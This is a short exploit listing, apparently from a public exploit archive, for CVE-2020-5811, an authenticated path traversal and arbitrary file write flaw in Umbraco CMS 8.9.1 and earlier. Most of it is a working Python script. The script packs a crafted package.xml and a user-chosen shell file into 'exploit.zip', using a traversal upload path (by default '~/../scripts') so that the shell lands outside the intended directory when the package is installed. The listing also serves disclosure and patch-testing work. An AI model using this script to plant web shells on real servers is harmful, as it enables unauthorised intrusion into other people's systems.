Umbraco CMS 8.9.1 Traversal / Arbitrary File Write

Umbraco CMS versions 8.9.1 and below suffer from path traversal and arbitrary file write vulnerabilities.


MD5 | 0a99ada2f17347f95a647a852d95bcfe

# Exploit Title: Umbraco CMS 8.9.1 - Path traversal and Arbitrary File Write (Authenticated)
# Exploit Author: BitTheByte
# Description: Authenticated path traversal vulnerability.
# Exploit Research: https://www.tenable.com/security/research/tra-2020-59
# Vendor Homepage: https://umbraco.com/
# Version: <= 8.9.1
# CVE : CVE-2020-5811

import string
import random
import argparse
import zipfile
import os

package_xml = f"""<?xml version="1.0" encoding="utf-8"?>
<umbPackage>
<files>
<file>
<guid>{{filename}}</guid>
<orgPath>{{upload_path}}</orgPath>
<orgName>{{filename}}</orgName>
</file>
</files>
<info>
<package>
<name>PoC-{''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(8))}</name>
<version>1.0.0</version>
<iconUrl></iconUrl>
<license url="http://opensource.org/licenses/MIT">MIT License</license>
<url>https://example.com</url>
<requirements>
<major>0</major>
<minor>0</minor>
<patch>0</patch>
</requirements>
</package>
<author>
<name>CVE-2020-5811</name>
<website>https://example.com</website>
</author>
<contributors>
<contributor></contributor>
</contributors>
<readme><![CDATA[]]></readme>
</info>
<DocumentTypes />
<Templates />
<Stylesheets />
<Macros />
<DictionaryItems />
<Languages />
<DataTypes />
<Actions />
</umbPackage>
"""

parser = argparse.ArgumentParser(description='CVE-2020-5811')
parser.add_argument('--shell', type=str, help='Shell file to upload', required=True)
parser.add_argument('--upload-path', type=str, help='Shell file update path on target server (default=~/../scripts)', default='~/../scripts')
args = parser.parse_args()

if not os.path.isfile(args.shell):
print("[ERROR] please use a correct path for the shell file.")

output_file = "exploit.zip"

package = zipfile.ZipFile(output_file, 'w')
package.writestr('package.xml', package_xml.format(filename=os.path.basename(args.shell), upload_path=args.upload_path))
package.writestr(os.path.basename(args.shell), open(args.shell, 'r').read())
package.close()

print(f"[DONE] Created Umbraco package: {output_file}")


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